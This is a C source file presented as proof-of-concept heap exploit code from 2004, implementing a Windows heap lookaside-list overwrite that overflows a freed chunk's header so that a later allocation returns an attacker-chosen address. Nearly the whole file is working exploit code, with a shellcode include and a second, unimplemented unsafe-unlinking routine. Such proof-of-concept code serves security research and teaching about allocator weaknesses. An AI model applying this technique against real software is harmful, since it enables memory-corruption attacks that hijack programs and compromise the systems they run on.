// Proof-of-concept code heap exploit code
// Written by Matt Conover in December 2004
#include "heap.h"
#include "util.h"
#include "shellcode.h"

char TestVariable[256];

#define MAX_OVERFLOW_SIZE 1016
BYTE *DoChunkOnLookasideOverwrite(HEAP *pHeap)
{
	DWORD i, j, *dw, ChunkSize, Size = 0;
	BYTE *HeapBase = (BYTE *)pHeap;
	BYTE *FirstLookaside = HeapBase + LOOKASIDE_OFFSET;
	BYTE *pSource, *pDestination, *pDestination2;
	HEAP_FREE_ENTRY *pEntry;

	// There needs to be at least two entries on the lookaside 
	pDestination2 = GetChunk(pHeap, ALLOC_SIZE); assert(pDestination2); 
	pDestination = GetChunk(pHeap, ALLOC_SIZE); assert(pDestination);
	HeapFree(pHeap, 0, pDestination2); HeapFree(pHeap, 0, pDestination);

	for (j = 1, ChunkSize = ALLOC_SIZE+8; ChunkSize && j < 200; j++, ChunkSize += 8)
	{
		if (ChunkSize == ALLOC_SIZE) continue;
		pSource = HeapAlloc(pHeap, 0, ChunkSize); assert(pSource);
		Size = (DWORD)(pDestination - pSource) - ChunkSize;

		if (Size < MAX_OVERFLOW_SIZE)
		{
			printf("[Attempt %d] Requires overflow of %d bytes\n", j, Size);
			memset(pSource, 0x01, ChunkSize);
			Size /= 4;
			pEntry = (HEAP_FREE_ENTRY *)(pSource + ChunkSize);
			for (i = 0, dw = (DWORD *)pEntry; i < Size; i++) *dw++ = (DWORD)TestVariable;
			*dw++ = (DWORD)TestVariable;
			HeapFree(pHeap, 0, pSource);

			// Our target chunks
			pSource = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(pSource);
			pSource = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(pSource);
			assert(pSource); memset(pSource, 'A', ALLOC_SIZE-1); pSource[ALLOC_SIZE-1] = 0;
			printf("TestVariable = \"%s\"\n", TestVariable);
			break;
		}
		else
		{
			printf("[Attempt %d] Failed, distance (%d) > MAX_OVERFLOW_SIZE (%d)\n", j, Size, MAX_OVERFLOW_SIZE);
		}
	}
	printf("Took %d attempts\n", j);
	exit(0); // TODO
	return NULL;
}

BYTE *DoUnsafeUnlinkingFreeListOverwrite(HEAP *pHeap)
{
	return NULL;
}